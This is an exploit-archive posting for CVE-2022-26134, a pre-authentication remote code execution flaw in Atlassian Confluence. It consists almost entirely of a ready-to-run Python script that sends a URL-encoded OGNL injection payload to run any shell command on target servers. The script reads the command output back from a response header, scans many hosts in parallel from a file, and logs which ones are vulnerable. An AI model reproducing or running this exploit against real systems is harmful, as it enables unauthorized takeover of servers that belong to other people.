Confluence Data Center 7.18.0 Remote Code Execution (RCE)

2022.06.11
Credit: h3v0x
Risk: High
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: Confluence Data Center 7.18.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 06/006/2022 # Exploit Author: h3v0x # Vendor Homepage: https://www.atlassian.com/ # Software Link: https://www.atlassian.com/software/confluence/download-archives # Version: All < 7.4.17 versions before 7.18.1 # Tested on: - # CVE : CVE-2022-26134 # https://github.com/h3v0x/CVE-2022-26134 #!/usr/bin/python3 import sys import requests import optparse import multiprocessing from requests.packages import urllib3 from requests.exceptions import MissingSchema, InvalidURL urllib3.disable_warnings() requestEngine = multiprocessing.Manager() session = requests.Session() global paramResults paramResults = requestEngine.list() globals().update(locals()) def spiderXpl(url): globals().update(locals()) if not url.startswith('http'): url='http://'+url headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Connection": "close", "Accept-Encoding": "gzip, deflate"} try: response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False) if(response.status_code == 302): print('Found: '+url+' // '+ response.headers['X-Cmd-Response']) inputBuffer = str(response.headers['X-Cmd-Response']) paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n') else: pass except requests.exceptions.ConnectionError: print('[x] Failed to Connect: '+url) pass except multiprocessing.log_to_stderr: pass except KeyboardInterrupt: print('[!] Stoping exploit...') exit(0) except (MissingSchema, InvalidURL): pass def banner(): print('[-] CVE-2022-26134') print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n') def main(): banner() globals().update(locals()) sys.setrecursionlimit(100000) if not optionsOpt.filehosts: url = optionsOpt.url spiderXpl(url) else: f = open(optionsOpt.filehosts) urls = map(str.strip, f.readlines()) multiReq = multiprocessing.Pool(optionsOpt.threads_set) try: multiReq.map(spiderXpl, urls) multiReq.close() multiReq.join() except UnboundLocalError: pass except KeyboardInterrupt: exit(0) if optionsOpt.output: print("\n[!] Saving the output result in: %s" % optionsOpt.output) with open(optionsOpt.output, "w") as f: for result in paramResults: f.write("%s\n" % result) f.close() if __name__ == "__main__": parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)') parser.add_option('-f', '--file', dest="filehosts", help='example.txt') parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10) parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8) parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt') parser.add_option('-c', '--cmd', dest="command", type=str, default='id') optionsOpt, args = parser.parse_args() main()


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